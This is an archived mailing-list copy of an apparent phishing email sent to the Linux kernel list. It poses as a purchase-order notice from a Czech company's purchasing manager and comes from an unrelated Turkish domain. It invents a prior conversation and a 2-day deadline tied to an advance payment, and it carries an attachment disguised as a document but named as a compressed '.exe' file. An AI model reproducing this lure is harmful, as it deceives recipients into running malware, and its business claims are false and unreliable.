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Date:   22 Jun 2021 19:05:19 +0200
From:   "Tomas Bosek" <EXPRESS_ADG@...arine.com.tr>
To:     linux-kernel@...r.kernel.org
Subject: linux-kernel@...r.kernel.org RE: 1000199215 RFQ: 978 PO# 4500101880 For June Order Supply and Delivery

Good Morning,

Customer official PO has been issued for your company and 
attached for the current awarded contract as discussed with your 
colleague last Wednesday. 

Please, provide us with your signed acknowledgment in the same PO 
form within 2 working days to proceed with the advance part 
payment. 
 
 
 
Best regards

 

 

Tomas Bosek
Purchase Manager


ELITEX FINISHING s.r.o.
Legionarska 13
463 34 Hradek nad Nisou
Czech Republic
www.elitexfinishing.cz
Download attachment "RFQ 978 PO# 4500101880 For June Order Supply and Delivery.exe.xz" of type "application/octet-stream" (640880 bytes)

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